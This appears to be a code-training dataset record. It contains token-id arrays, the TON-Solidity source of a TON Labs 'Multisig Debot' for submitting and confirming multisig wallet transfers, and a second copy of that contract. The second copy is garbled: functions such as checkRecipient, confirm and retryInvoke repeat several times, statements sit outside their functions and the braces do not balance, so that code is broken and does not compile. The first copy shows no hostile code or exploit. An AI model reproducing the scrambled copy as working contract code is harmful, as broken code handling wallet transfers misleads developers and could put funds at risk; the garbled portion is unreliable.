1234,
18,
15330,
422,
9882,
774,
6187,
19292,
649,
87,
63,
67,
4406,
548,
8009,
25737,
1887,
203,
7734,
294,
3981,
9486,
5042,
12,
203,
10792,
1234,
18,
15330,
16,
203,
10792,
1758,
12,
2211,
3631,
203,
10792,
333,
18,
2725,
4109,
3291,
18,
9663,
203,
7734,
262,
16,
203,
5411,
315,
3386,
15469,
1347,
25966,
16,
3410,
1347,
8586,
6,
203,
3639,
11272,
203,
3639,
10137,
63,
67,
4406,
548,
8009,
3384,
1887,
273,
389,
4406,
3291,
203,
5411,
263,
2626,
774,
858,
16651,
5621,
203,
3639,
3626,
5420,
7381,
24899,
4406,
548,
16,
9921,
67,
17147,
67,
15911,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma ton-solidity >=0.35.0;
pragma AbiHeader expire;
pragma AbiHeader time;
pragma AbiHeader pubkey;
import "../Debot.sol";
import "../Terminal.sol";
import "../AddressInput.sol";
import "../AmountInput.sol";
import "../ConfirmInput.sol";
import "../Sdk.sol";
import "../Menu.sol";
import "../Upgradable.sol";
import "../Transferable.sol";
// A copy of structure from multisig contract
struct Transaction {
// Transaction Id.
uint64 id;
// Transaction confirmations from custodians.
uint32 confirmationsMask;
// Number of required confirmations.
uint8 signsRequired;
// Number of confirmations already received.
uint8 signsReceived;
// Public key of custodian queued transaction.
uint256 creator;
// Index of custodian.
uint8 index;
// Destination address of gram transfer.
address dest;
// Amount of nanograms to transfer.
uint128 value;
// Flags for sending internal message (see SENDRAWMSG in TVM spec).
uint16 sendFlags;
// Payload used as body of outbound internal message.
TvmCell payload;
// Bounce flag for header of outbound internal message.
bool bounce;
}
struct CustodianInfo {
uint8 index;
uint256 pubkey;
}
interface IMultisig {
function submitTransaction(
address dest,
uint128 value,
bool bounce,
bool allBalance,
TvmCell payload)
external returns (uint64 transId);
function confirmTransaction(uint64 transactionId) external;
function getCustodians() external returns (CustodianInfo[] custodians);
function getTransactions() external returns (Transaction[] transactions);
}
abstract contract Utility {
function tonsToStr(uint128 nanotons) internal pure returns (string) {
(uint64 dec, uint64 float) = _tokens(nanotons);
string floatStr = format("{}", float);
while (floatStr.byteLength() < 9) {
floatStr = "0" + floatStr;
}
return format("{}.{}", dec, floatStr);
}
function _tokens(uint128 nanotokens) internal pure returns (uint64, uint64) {
uint64 decimal = uint64(nanotokens / 1e9);
uint64 float = uint64(nanotokens - (decimal * 1e9));
return (decimal, float);
}
}
/// @notice Multisig Debot v1 (with debot interfaces).
contract MsigDebot is Debot, Upgradable, Transferable, Utility {
address m_wallet;
uint128 m_balance;
CustodianInfo[] m_custodians;
Transaction[] m_transactions;
bool m_bounce;
uint128 m_tons;
address m_dest;
TvmCell m_payload;
bytes m_icon;
// ID of current transaction that wass choosen for confirmation.
uint64 m_id;
// Function Id to jump in case of error.
uint32 m_retryId;
// Function id to jump in case of successfull onchain transaction.
uint32 m_continueId;
// Default constructor
//
// Setters
//
function setIcon(bytes icon) public {
require(msg.pubkey() == tvm.pubkey(), 100);
tvm.accept();
m_icon = icon;
}
//
// Debot Basic API
//
function start() public override {
_start();
}
function _start() private {
AddressInput.get(tvm.functionId(startChecks), "Which wallet do you want to work with?");
}
/// @notice Returns Metadata about DeBot.
function getDebotInfo() public functionID(0xDEB) override view returns(
string name, string version, string publisher, string caption, string author,
address support, string hello, string language, string dabi, bytes icon
) {
name = "Multisig";
version = format("{}.{}.{}", 1,2,0);
publisher = "TON Labs";
caption = "DeBot for multisig wallets";
author = "TON Labs";
support = address.makeAddrStd(0, 0x66e01d6df5a8d7677d9ab2daf7f258f1e2a7fe73da5320300395f99e01dc3b5f);
hello = "Hi, I will help you work with multisig wallets that can have multiple custodians.";
language = "en";
dabi = m_debotAbi.get();
icon = m_icon;
}
function getRequiredInterfaces() public view override returns (uint256[] interfaces) {
return [ Terminal.ID, AmountInput.ID, ConfirmInput.ID, AddressInput.ID, Menu.ID ];
}
/*
* Public
*/
function startChecks(address value) public {
Sdk.getAccountType(tvm.functionId(checkStatus), value);
m_wallet = value;
}
function checkStatus(int8 acc_type) public {
if (!_checkActiveStatus(acc_type, "Wallet")) {
_start();
return;
}
Sdk.getAccountCodeHash(tvm.functionId(checkWalletHash), m_wallet);
}
function checkWalletHash(uint256 code_hash) public {
// safe msig
if (code_hash != 0x80d6c47c4a25543c9b397b71716f3fae1e2c5d247174c52e2c19bd896442b105 &&
// surf msig
code_hash != 0x207dc560c5956de1a2c1479356f8f3ee70a59767db2bf4788b1d61ad42cdad82 &&
// 24 msig
code_hash != 0x7d0996943406f7d62a4ff291b1228bf06ebd3e048b58436c5b70fb77ff8b4bf2 &&
// 24 setcode msig
code_hash != 0xa491804ca55dd5b28cffdff48cb34142930999621a54acee6be83c342051d884 &&
// setcode msig
code_hash != 0xe2b60b6b602c10ced7ea8ede4bdf96342c97570a3798066f3fb50a4b2b27a208) {
_start();
return;
}
preMain();
}
function _checkActiveStatus(int8 acc_type, string obj) private returns (bool) {
if (acc_type == -1) {
Terminal.print(0, obj + " is inactive");
return false;
}
if (acc_type == 0) {
Terminal.print(0, obj + " is uninitialized");
return false;
}
if (acc_type == 2) {
Terminal.print(0, obj + " is frozen");
return false;
}
return true;
}
function preMain() public {
_getTransactions(tvm.functionId(setTransactions));
_getCustodians(tvm.functionId(setCustodians));
Sdk.getBalance(tvm.functionId(initWallet), m_wallet);
}
function setTransactions(Transaction[] transactions) public {
m_transactions = transactions;
}
function setCustodians(CustodianInfo[] custodians) public {
m_custodians = custodians;
}
function initWallet(uint128 nanotokens) public {
m_balance = nanotokens;
mainMenu();
}
function mainMenu() public {
string str = format("This wallet has {} tokens on the balance. It has {} custodian(s) and {} unconfirmed transactions.",
tonsToStr(m_balance), m_custodians.length, m_transactions.length);
Terminal.print(0, str);
_gotoMainMenu();
}
function startSubmit(uint32 index) public {
index = index;
AddressInput.get(tvm.functionId(setDest), "What is the recipient address?");
}
function setDest(address value) public {
m_dest = value;
Sdk.getAccountType(tvm.functionId(checkRecipient), value);
}
function checkRecipient(int8 acc_type) public {
if (acc_type == 2) {
Terminal.print(tvm.functionId(Debot.start), "Recipient is frozen.");
return;
}
if (acc_type == -1 || acc_type == 0) {
ConfirmInput.get(tvm.functionId(submitToInactive), "Recipient is inactive. Continue?");
m_bounce = false;
return;
} else {
m_bounce = true;
}
AmountInput.get(tvm.functionId(setTons), "How many tokens to send?", 9, 1e7, m_balance);
}
function submitToInactive(bool value) public {
if (!value) {
Terminal.print(tvm.functionId(Debot.start), "Operation aborted.");
return;
}
AmountInput.get(tvm.functionId(setTons), "How many tokens to send?", 9, 1e7, m_balance);
}
function setTons(uint128 value) public {
m_tons = value;
string fmt = format("Transaction details:\nRecipient: {}.\nAmount: {} tokens.\nConfirm?", m_dest, tonsToStr(value));
ConfirmInput.get(tvm.functionId(submit), fmt);
}
function callSubmitTransaction() public view {
optional(uint256) pubkey = 0;
IMultisig(m_wallet).submitTransaction{
abiVer: 2,
extMsg: true,
sign: true,
pubkey: pubkey,
time: uint64(now),
expire: 0,
callbackId: tvm.functionId(onSuccess),
onErrorId: tvm.functionId(onError)
}(m_dest, m_tons, m_bounce, false, m_payload);
}
function submit(bool value) public {
if (!value) {
Terminal.print(0, "Ok, maybe next time.");
_start();
return;
}
TvmCell empty;
m_payload = empty;
m_continueId = tvm.functionId(Debot.start);
m_retryId = tvm.functionId(submit);
callSubmitTransaction();
}
function onError(uint32 sdkError, uint32 exitCode) public {
// TODO: parse different types of errors: sdkError and exit Code.
// DeBot can undestand if txn was reejcted by user or if wallet contract throws an exception.
// DeBot can help user to undestand when keypair is invalid, for example.
exitCode = exitCode; sdkError = sdkError;
ConfirmInput.get(m_retryId, "Transaction failed. Do you want to retry transaction?");
}
function onSuccess(uint64 transId) public {
if (m_custodians.length <= 1) {
Terminal.print(0, "Transaction succeeded.");
} else {
string fmt = format("Transaction {} submitted and waiting for confirmations from other custodians.", transId);
Terminal.print(0, fmt);
}
_start();
}
function showCustodians(uint32 index) public {
index = index;
Terminal.print(0, "Wallet custodian public key(s):");
for (uint i = 0; i < m_custodians.length; i++) {
Terminal.print(0, format("{:x}", m_custodians[i].pubkey));
}
_gotoMainMenu();
}
function showTransactions(uint32 index) public {
index = index;
Terminal.print(0, "Unconfirmed transactions:");
for (uint i = 0; i < m_transactions.length; i++) {
Transaction txn = m_transactions[i];
Terminal.print(0, format("ID {:x}\nRecipient: {}\nAmount: {}\nConfirmations received: {}\nConfirmations required: {}\nCreator custodian public key: {:x}",
txn.id, txn.dest, tonsToStr(txn.value),
txn.signsReceived, txn.signsRequired, txn.creator));
}
_gotoMainMenu();
}
function printMenu(uint32 index) public view {
index = index;
_gotoMainMenu();
}
function confirmMenu(uint32 index) public view {
index = index;
_getTransactions(tvm.functionId(printConfirmMenu));
}
function printConfirmMenu(Transaction[] transactions) public {
m_transactions = transactions;
if (m_transactions.length == 0) {
_gotoMainMenu();
return;
}
MenuItem[] items;
for (uint i = 0; i < m_transactions.length; i++) {
Transaction txn = m_transactions[i];
items.push( MenuItem(format("ID {:x}", txn.id), "", tvm.functionId(confirmTxn)) );
}
items.push( MenuItem("Back", "", tvm.functionId(printMenu)) );
Menu.select("Choose transaction:", "", items);
}
function confirmTxn(uint32 index) public {
m_id = m_transactions[index].id;
confirm(true);
}
function confirm(bool value) public {
if (!value) {
_start();
return;
}
optional(uint256) pubkey = 0;
m_retryId = tvm.functionId(confirm);
IMultisig(m_wallet).confirmTransaction{
abiVer: 2,
extMsg: true,
sign: true,
pubkey: pubkey,
time: uint64(now),
expire: 0,
callbackId: tvm.functionId(onConfirmSuccess),
onErrorId: tvm.functionId(onError)
}(m_id);
}
function onConfirmSuccess() public {
Terminal.print(0, "Transaction confirmed.");
confirmMenu(0);
}
function _gotoMainMenu() private view {
_getTransactions(tvm.functionId(printMainMenu));
}
function printMainMenu(Transaction[] transactions) public {
m_transactions = transactions;
MenuItem[] items;
items.push( MenuItem("Submit transaction", "", tvm.functionId(startSubmit)) );
items.push( MenuItem("Show custodians", "", tvm.functionId(showCustodians)) );
if (m_transactions.length != 0) {
items.push( MenuItem("Show transactions", "", tvm.functionId(showTransactions)) );
items.push( MenuItem("Confirm transaction", "", tvm.functionId(confirmMenu)) );
}
Menu.select("What's next?", "", items);
}
function _getTransactions(uint32 answerId) private view {
optional(uint256) none;
IMultisig(m_wallet).getTransactions{
abiVer: 2,
extMsg: true,
sign: false,
pubkey: none,
time: uint64(now),
expire: 0,
callbackId: answerId,
onErrorId: 0
}();
}
function _getCustodians(uint32 answerId) private view {
optional(uint256) none;
IMultisig(m_wallet).getCustodians{
abiVer: 2,
extMsg: true,
sign: false,
pubkey: none,
time: uint64(now),
expire: 0,
callbackId: answerId,
onErrorId: 0
}();
}
function onCodeUpgrade() internal override {
tvm.resetStorage();
}
//
// Functions for external or internal invoke.
//
function invokeTransaction(address sender, address recipient, uint128 amount, bool bounce, TvmCell payload) public {
m_dest = recipient;
m_tons = amount;
m_bounce = bounce;
m_payload = payload;
m_wallet = sender;
(, uint bits, uint refs) = payload.dataSize(1000);
ConfirmInput.get(tvm.functionId(retryInvoke), format("Transaction details:\nRecipient address: {}\nAmount: {} tons\nPayload: {}",
recipient, tonsToStr(amount), (bits == 0 && refs == 0) ? "NO" : "YES"));
}
function invokeTransaction2(address value) public {
m_wallet = value;
callSubmitTransaction();
}
function retryInvoke(bool value) public {
if (!value) {
Terminal.print(0, "Transaction aborted.");
start();
return;
}
m_retryId = tvm.functionId(retryInvoke);
m_continueId = 0;
if (m_wallet == address(0)) {
AddressInput.get(tvm.functionId(invokeTransaction2), "Which wallet do you want to make a transfer from?");
} else {
callSubmitTransaction();
}
}
//
// Getters
//
function getInvokeMessage(address sender, address recipient, uint128 amount, bool bounce, TvmCell payload) public pure
returns(TvmCell message) {
TvmCell body = tvm.encodeBody(MsigDebot.invokeTransaction, sender, recipient, amount, bounce, payload);
TvmBuilder message_;
message_.store(false, true, true, false, address(0), address(this));
message_.storeTons(0);
message_.storeUnsigned(0, 1);
message_.storeTons(0);
message_.storeTons(0);
message_.store(uint64(0));
message_.store(uint32(0));
message_.storeUnsigned(0, 1); //init: nothing$0
message_.storeUnsigned(1, 1); //body: right$1
message_.store(body);
message = message_.toCell();
}
} | @notice Multisig Debot v1 (with debot interfaces). ID of current transaction that wass choosen for confirmation. Function Id to jump in case of error. Function id to jump in case of successfull onchain transaction. Default constructor Setters | contract MsigDebot is Debot, Upgradable, Transferable, Utility {
address m_wallet;
uint128 m_balance;
CustodianInfo[] m_custodians;
Transaction[] m_transactions;
bool m_bounce;
uint128 m_tons;
address m_dest;
TvmCell m_payload;
bytes m_icon;
uint64 m_id;
uint32 m_retryId;
uint32 m_continueId;
function setIcon(bytes icon) public {
require(msg.pubkey() == tvm.pubkey(), 100);
tvm.accept();
m_icon = icon;
}
function start() public override {
_start();
}
function _start() private {
AddressInput.get(tvm.functionId(startChecks), "Which wallet do you want to work with?");
}
function getDebotInfo() public functionID(0xDEB) override view returns(
string name, string version, string publisher, string caption, string author,
address support, string hello, string language, string dabi, bytes icon
) {
name = "Multisig";
publisher = "TON Labs";
caption = "DeBot for multisig wallets";
author = "TON Labs";
support = address.makeAddrStd(0, 0x66e01d6df5a8d7677d9ab2daf7f258f1e2a7fe73da5320300395f99e01dc3b5f);
hello = "Hi, I will help you work with multisig wallets that can have multiple custodians.";
language = "en";
dabi = m_debotAbi.get();
icon = m_icon;
}
version = format("{}.{}.{}", 1,2,0);
function getRequiredInterfaces() public view override returns (uint256[] interfaces) {
return [ Terminal.ID, AmountInput.ID, ConfirmInput.ID, AddressInput.ID, Menu.ID ];
}
function startChecks(address value) public {
Sdk.getAccountType(tvm.functionId(checkStatus), value);
m_wallet = value;
}
function checkStatus(int8 acc_type) public {
if (!_checkActiveStatus(acc_type, "Wallet")) {
_start();
return;
}
function checkStatus(int8 acc_type) public {
if (!_checkActiveStatus(acc_type, "Wallet")) {
_start();
return;
}
Sdk.getAccountCodeHash(tvm.functionId(checkWalletHash), m_wallet);
}
function checkWalletHash(uint256 code_hash) public {
if (code_hash != 0x80d6c47c4a25543c9b397b71716f3fae1e2c5d247174c52e2c19bd896442b105 &&
code_hash != 0x207dc560c5956de1a2c1479356f8f3ee70a59767db2bf4788b1d61ad42cdad82 &&
code_hash != 0x7d0996943406f7d62a4ff291b1228bf06ebd3e048b58436c5b70fb77ff8b4bf2 &&
code_hash != 0xa491804ca55dd5b28cffdff48cb34142930999621a54acee6be83c342051d884 &&
code_hash != 0xe2b60b6b602c10ced7ea8ede4bdf96342c97570a3798066f3fb50a4b2b27a208) {
_start();
return;
}
preMain();
}
Sdk.getAccountCodeHash(tvm.functionId(checkWalletHash), m_wallet);
}
function checkWalletHash(uint256 code_hash) public {
if (code_hash != 0x80d6c47c4a25543c9b397b71716f3fae1e2c5d247174c52e2c19bd896442b105 &&
code_hash != 0x207dc560c5956de1a2c1479356f8f3ee70a59767db2bf4788b1d61ad42cdad82 &&
code_hash != 0x7d0996943406f7d62a4ff291b1228bf06ebd3e048b58436c5b70fb77ff8b4bf2 &&
code_hash != 0xa491804ca55dd5b28cffdff48cb34142930999621a54acee6be83c342051d884 &&
code_hash != 0xe2b60b6b602c10ced7ea8ede4bdf96342c97570a3798066f3fb50a4b2b27a208) {
_start();
return;
}
preMain();
}
function _checkActiveStatus(int8 acc_type, string obj) private returns (bool) {
if (acc_type == -1) {
Terminal.print(0, obj + " is inactive");
return false;
}
if (acc_type == 0) {
Terminal.print(0, obj + " is uninitialized");
return false;
}
if (acc_type == 2) {
Terminal.print(0, obj + " is frozen");
return false;
}
return true;
}
function _checkActiveStatus(int8 acc_type, string obj) private returns (bool) {
if (acc_type == -1) {
Terminal.print(0, obj + " is inactive");
return false;
}
if (acc_type == 0) {
Terminal.print(0, obj + " is uninitialized");
return false;
}
if (acc_type == 2) {
Terminal.print(0, obj + " is frozen");
return false;
}
return true;
}
function _checkActiveStatus(int8 acc_type, string obj) private returns (bool) {
if (acc_type == -1) {
Terminal.print(0, obj + " is inactive");
return false;
}
if (acc_type == 0) {
Terminal.print(0, obj + " is uninitialized");
return false;
}
if (acc_type == 2) {
Terminal.print(0, obj + " is frozen");
return false;
}
return true;
}
function _checkActiveStatus(int8 acc_type, string obj) private returns (bool) {
if (acc_type == -1) {
Terminal.print(0, obj + " is inactive");
return false;
}
if (acc_type == 0) {
Terminal.print(0, obj + " is uninitialized");
return false;
}
if (acc_type == 2) {
Terminal.print(0, obj + " is frozen");
return false;
}
return true;
}
function preMain() public {
_getTransactions(tvm.functionId(setTransactions));
_getCustodians(tvm.functionId(setCustodians));
Sdk.getBalance(tvm.functionId(initWallet), m_wallet);
}
function setTransactions(Transaction[] transactions) public {
m_transactions = transactions;
}
function setCustodians(CustodianInfo[] custodians) public {
m_custodians = custodians;
}
function initWallet(uint128 nanotokens) public {
m_balance = nanotokens;
mainMenu();
}
function mainMenu() public {
tonsToStr(m_balance), m_custodians.length, m_transactions.length);
Terminal.print(0, str);
_gotoMainMenu();
}
string str = format("This wallet has {} tokens on the balance. It has {} custodian(s) and {} unconfirmed transactions.",
function startSubmit(uint32 index) public {
index = index;
AddressInput.get(tvm.functionId(setDest), "What is the recipient address?");
}
function setDest(address value) public {
m_dest = value;
Sdk.getAccountType(tvm.functionId(checkRecipient), value);
}
function checkRecipient(int8 acc_type) public {
if (acc_type == 2) {
Terminal.print(tvm.functionId(Debot.start), "Recipient is frozen.");
return;
}
if (acc_type == -1 || acc_type == 0) {
ConfirmInput.get(tvm.functionId(submitToInactive), "Recipient is inactive. Continue?");
m_bounce = false;
return;
m_bounce = true;
}
function checkRecipient(int8 acc_type) public {
if (acc_type == 2) {
Terminal.print(tvm.functionId(Debot.start), "Recipient is frozen.");
return;
}
if (acc_type == -1 || acc_type == 0) {
ConfirmInput.get(tvm.functionId(submitToInactive), "Recipient is inactive. Continue?");
m_bounce = false;
return;
m_bounce = true;
}
function checkRecipient(int8 acc_type) public {
if (acc_type == 2) {
Terminal.print(tvm.functionId(Debot.start), "Recipient is frozen.");
return;
}
if (acc_type == -1 || acc_type == 0) {
ConfirmInput.get(tvm.functionId(submitToInactive), "Recipient is inactive. Continue?");
m_bounce = false;
return;
m_bounce = true;
}
} else {
AmountInput.get(tvm.functionId(setTons), "How many tokens to send?", 9, 1e7, m_balance);
}
function submitToInactive(bool value) public {
if (!value) {
Terminal.print(tvm.functionId(Debot.start), "Operation aborted.");
return;
}
AmountInput.get(tvm.functionId(setTons), "How many tokens to send?", 9, 1e7, m_balance);
}
function submitToInactive(bool value) public {
if (!value) {
Terminal.print(tvm.functionId(Debot.start), "Operation aborted.");
return;
}
AmountInput.get(tvm.functionId(setTons), "How many tokens to send?", 9, 1e7, m_balance);
}
function setTons(uint128 value) public {
m_tons = value;
ConfirmInput.get(tvm.functionId(submit), fmt);
}
string fmt = format("Transaction details:\nRecipient: {}.\nAmount: {} tokens.\nConfirm?", m_dest, tonsToStr(value));
function callSubmitTransaction() public view {
optional(uint256) pubkey = 0;
IMultisig(m_wallet).submitTransaction{
abiVer: 2,
extMsg: true,
sign: true,
pubkey: pubkey,
time: uint64(now),
expire: 0,
callbackId: tvm.functionId(onSuccess),
onErrorId: tvm.functionId(onError)
}(m_dest, m_tons, m_bounce, false, m_payload);
}
function callSubmitTransaction() public view {
optional(uint256) pubkey = 0;
IMultisig(m_wallet).submitTransaction{
abiVer: 2,
extMsg: true,
sign: true,
pubkey: pubkey,
time: uint64(now),
expire: 0,
callbackId: tvm.functionId(onSuccess),
onErrorId: tvm.functionId(onError)
}(m_dest, m_tons, m_bounce, false, m_payload);
}
function submit(bool value) public {
if (!value) {
Terminal.print(0, "Ok, maybe next time.");
_start();
return;
}
TvmCell empty;
m_payload = empty;
function submit(bool value) public {
if (!value) {
Terminal.print(0, "Ok, maybe next time.");
_start();
return;
}
TvmCell empty;
m_payload = empty;
m_continueId = tvm.functionId(Debot.start);
m_retryId = tvm.functionId(submit);
callSubmitTransaction();
}
function onError(uint32 sdkError, uint32 exitCode) public {
exitCode = exitCode; sdkError = sdkError;
ConfirmInput.get(m_retryId, "Transaction failed. Do you want to retry transaction?");
}
function onSuccess(uint64 transId) public {
if (m_custodians.length <= 1) {
Terminal.print(0, "Transaction succeeded.");
Terminal.print(0, fmt);
}
_start();
}
function onSuccess(uint64 transId) public {
if (m_custodians.length <= 1) {
Terminal.print(0, "Transaction succeeded.");
Terminal.print(0, fmt);
}
_start();
}
} else {
string fmt = format("Transaction {} submitted and waiting for confirmations from other custodians.", transId);
function showCustodians(uint32 index) public {
index = index;
Terminal.print(0, "Wallet custodian public key(s):");
for (uint i = 0; i < m_custodians.length; i++) {
}
_gotoMainMenu();
}
function showCustodians(uint32 index) public {
index = index;
Terminal.print(0, "Wallet custodian public key(s):");
for (uint i = 0; i < m_custodians.length; i++) {
}
_gotoMainMenu();
}
Terminal.print(0, format("{:x}", m_custodians[i].pubkey));
function showTransactions(uint32 index) public {
index = index;
Terminal.print(0, "Unconfirmed transactions:");
for (uint i = 0; i < m_transactions.length; i++) {
Transaction txn = m_transactions[i];
txn.id, txn.dest, tonsToStr(txn.value),
txn.signsReceived, txn.signsRequired, txn.creator));
}
_gotoMainMenu();
}
function showTransactions(uint32 index) public {
index = index;
Terminal.print(0, "Unconfirmed transactions:");
for (uint i = 0; i < m_transactions.length; i++) {
Transaction txn = m_transactions[i];
txn.id, txn.dest, tonsToStr(txn.value),
txn.signsReceived, txn.signsRequired, txn.creator));
}
_gotoMainMenu();
}
Terminal.print(0, format("ID {:x}\nRecipient: {}\nAmount: {}\nConfirmations received: {}\nConfirmations required: {}\nCreator custodian public key: {:x}",
function printMenu(uint32 index) public view {
index = index;
_gotoMainMenu();
}
function confirmMenu(uint32 index) public view {
index = index;
_getTransactions(tvm.functionId(printConfirmMenu));
}
function printConfirmMenu(Transaction[] transactions) public {
m_transactions = transactions;
if (m_transactions.length == 0) {
_gotoMainMenu();
return;
}
MenuItem[] items;
for (uint i = 0; i < m_transactions.length; i++) {
Transaction txn = m_transactions[i];
}
function printConfirmMenu(Transaction[] transactions) public {
m_transactions = transactions;
if (m_transactions.length == 0) {
_gotoMainMenu();
return;
}
MenuItem[] items;
for (uint i = 0; i < m_transactions.length; i++) {
Transaction txn = m_transactions[i];
}
function printConfirmMenu(Transaction[] transactions) public {
m_transactions = transactions;
if (m_transactions.length == 0) {
_gotoMainMenu();
return;
}
MenuItem[] items;
for (uint i = 0; i < m_transactions.length; i++) {
Transaction txn = m_transactions[i];
}
items.push( MenuItem(format("ID {:x}", txn.id), "", tvm.functionId(confirmTxn)) );
items.push( MenuItem("Back", "", tvm.functionId(printMenu)) );
Menu.select("Choose transaction:", "", items);
}
function confirmTxn(uint32 index) public {
m_id = m_transactions[index].id;
confirm(true);
}
function confirm(bool value) public {
if (!value) {
_start();
return;
}
optional(uint256) pubkey = 0;
m_retryId = tvm.functionId(confirm);
IMultisig(m_wallet).confirmTransaction{
abiVer: 2,
extMsg: true,
sign: true,
pubkey: pubkey,
time: uint64(now),
expire: 0,
callbackId: tvm.functionId(onConfirmSuccess),
onErrorId: tvm.functionId(onError)
}(m_id);
}
function confirm(bool value) public {
if (!value) {
_start();
return;
}
optional(uint256) pubkey = 0;
m_retryId = tvm.functionId(confirm);
IMultisig(m_wallet).confirmTransaction{
abiVer: 2,
extMsg: true,
sign: true,
pubkey: pubkey,
time: uint64(now),
expire: 0,
callbackId: tvm.functionId(onConfirmSuccess),
onErrorId: tvm.functionId(onError)
}(m_id);
}
function confirm(bool value) public {
if (!value) {
_start();
return;
}
optional(uint256) pubkey = 0;
m_retryId = tvm.functionId(confirm);
IMultisig(m_wallet).confirmTransaction{
abiVer: 2,
extMsg: true,
sign: true,
pubkey: pubkey,
time: uint64(now),
expire: 0,
callbackId: tvm.functionId(onConfirmSuccess),
onErrorId: tvm.functionId(onError)
}(m_id);
}
function onConfirmSuccess() public {
Terminal.print(0, "Transaction confirmed.");
confirmMenu(0);
}
function _gotoMainMenu() private view {
_getTransactions(tvm.functionId(printMainMenu));
}
function printMainMenu(Transaction[] transactions) public {
m_transactions = transactions;
MenuItem[] items;
items.push( MenuItem("Submit transaction", "", tvm.functionId(startSubmit)) );
items.push( MenuItem("Show custodians", "", tvm.functionId(showCustodians)) );
if (m_transactions.length != 0) {
items.push( MenuItem("Show transactions", "", tvm.functionId(showTransactions)) );
items.push( MenuItem("Confirm transaction", "", tvm.functionId(confirmMenu)) );
}
Menu.select("What's next?", "", items);
}
function printMainMenu(Transaction[] transactions) public {
m_transactions = transactions;
MenuItem[] items;
items.push( MenuItem("Submit transaction", "", tvm.functionId(startSubmit)) );
items.push( MenuItem("Show custodians", "", tvm.functionId(showCustodians)) );
if (m_transactions.length != 0) {
items.push( MenuItem("Show transactions", "", tvm.functionId(showTransactions)) );
items.push( MenuItem("Confirm transaction", "", tvm.functionId(confirmMenu)) );
}
Menu.select("What's next?", "", items);
}
function _getTransactions(uint32 answerId) private view {
optional(uint256) none;
IMultisig(m_wallet).getTransactions{
abiVer: 2,
extMsg: true,
sign: false,
pubkey: none,
time: uint64(now),
expire: 0,
callbackId: answerId,
onErrorId: 0
}();
}
function _getTransactions(uint32 answerId) private view {
optional(uint256) none;
IMultisig(m_wallet).getTransactions{
abiVer: 2,
extMsg: true,
sign: false,
pubkey: none,
time: uint64(now),
expire: 0,
callbackId: answerId,
onErrorId: 0
}();
}
function _getCustodians(uint32 answerId) private view {
optional(uint256) none;
IMultisig(m_wallet).getCustodians{
abiVer: 2,
extMsg: true,
sign: false,
pubkey: none,
time: uint64(now),
expire: 0,
callbackId: answerId,
onErrorId: 0
}();
}
function _getCustodians(uint32 answerId) private view {
optional(uint256) none;
IMultisig(m_wallet).getCustodians{
abiVer: 2,
extMsg: true,
sign: false,
pubkey: none,
time: uint64(now),
expire: 0,
callbackId: answerId,
onErrorId: 0
}();
}
function onCodeUpgrade() internal override {
tvm.resetStorage();
}
function invokeTransaction(address sender, address recipient, uint128 amount, bool bounce, TvmCell payload) public {
m_dest = recipient;
m_tons = amount;
m_bounce = bounce;
m_payload = payload;
m_wallet = sender;
(, uint bits, uint refs) = payload.dataSize(1000);
recipient, tonsToStr(amount), (bits == 0 && refs == 0) ? "NO" : "YES"));
}
ConfirmInput.get(tvm.functionId(retryInvoke), format("Transaction details:\nRecipient address: {}\nAmount: {} tons\nPayload: {}",
function invokeTransaction2(address value) public {
m_wallet = value;
callSubmitTransaction();
}
function retryInvoke(bool value) public {
if (!value) {
Terminal.print(0, "Transaction aborted.");
start();
return;
}
m_retryId = tvm.functionId(retryInvoke);
m_continueId = 0;
if (m_wallet == address(0)) {
AddressInput.get(tvm.functionId(invokeTransaction2), "Which wallet do you want to make a transfer from?");
callSubmitTransaction();
}
}
function retryInvoke(bool value) public {
if (!value) {
Terminal.print(0, "Transaction aborted.");
start();
return;
}
m_retryId = tvm.functionId(retryInvoke);
m_continueId = 0;
if (m_wallet == address(0)) {
AddressInput.get(tvm.functionId(invokeTransaction2), "Which wallet do you want to make a transfer from?");
callSubmitTransaction();
}
}
function retryInvoke(bool value) public {
if (!value) {
Terminal.print(0, "Transaction aborted.");
start();
return;
}
m_retryId = tvm.functionId(retryInvoke);
m_continueId = 0;
if (m_wallet == address(0)) {
AddressInput.get(tvm.functionId(invokeTransaction2), "Which wallet do you want to make a transfer from?");
callSubmitTransaction();
}
}
} else {
function getInvokeMessage(address sender, address recipient, uint128 amount, bool bounce, TvmCell payload) public pure
returns(TvmCell message) {
TvmCell body = tvm.encodeBody(MsigDebot.invokeTransaction, sender, recipient, amount, bounce, payload);
TvmBuilder message_;
message_.store(false, true, true, false, address(0), address(this));
message_.storeTons(0);
message_.storeUnsigned(0, 1);
message_.storeTons(0);
message_.storeTons(0);
message_.store(uint64(0));
message_.store(uint32(0));
message_.store(body);
message = message_.toCell();
}
} | 1,755,219 | [
1,
5049,
291,
360,
1505,
4819,
331,
21,
261,
1918,
443,
4819,
7349,
2934,
1599,
434,
783,
2492,
716,
341,
428,
5011,
8918,
364,
14296,
18,
4284,
3124,
358,
11833,
316,
648,
434,
555,
18,
4284,
612,
358,
11833,
316,
648,
434,
2216,
2854,
603,
5639,
2492,
18,
2989,
3885,
1000,
5432,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
